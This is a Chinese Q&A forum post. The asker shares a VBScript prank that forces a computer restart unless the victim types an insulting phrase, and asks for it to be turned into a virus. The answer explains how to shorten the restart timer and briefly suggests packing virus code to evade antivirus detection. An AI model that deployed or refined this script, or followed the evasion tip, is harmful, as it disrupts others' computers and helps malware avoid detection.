Question

".vbe" 格式的一个文件.病毒

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

请高手把这个改成一个简单的病毒! 先行谢过！ 可以另加分

Answer 1

楼主，你这些代码我见过，也玩过，这不是恶意整人的关机文件嘛，也不是病毒啊？要改病毒的话就给是别的代码了，这些代码都用不上了……

不过可以把这整人的程序内幕改动下，比如：shutdown -r -t 10（看见10数字了吗？可以改时间） -c
把时间改成10秒，哈哈！

我是猪，不说就一分钟关你机，不信，试试（这块是文字，可以改动，骂对方你个S*B，垃圾，呵呵）···"" ",0 ,true
do while(a <> "我是猪（这块是让对方输入这3字不会关机，你可以改字）")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说"（这些文字都可以改动，代码不变）,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"（文字可以改，代码不变）

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"（文字可以改，代码不变）

没了，要整病毒的话，网上有很多代码病毒，貌似都能被杀软查杀出来，建议先用代码整成个软件，然后给那软件加壳，让他启动这软件杀不出毒，然后就OK了。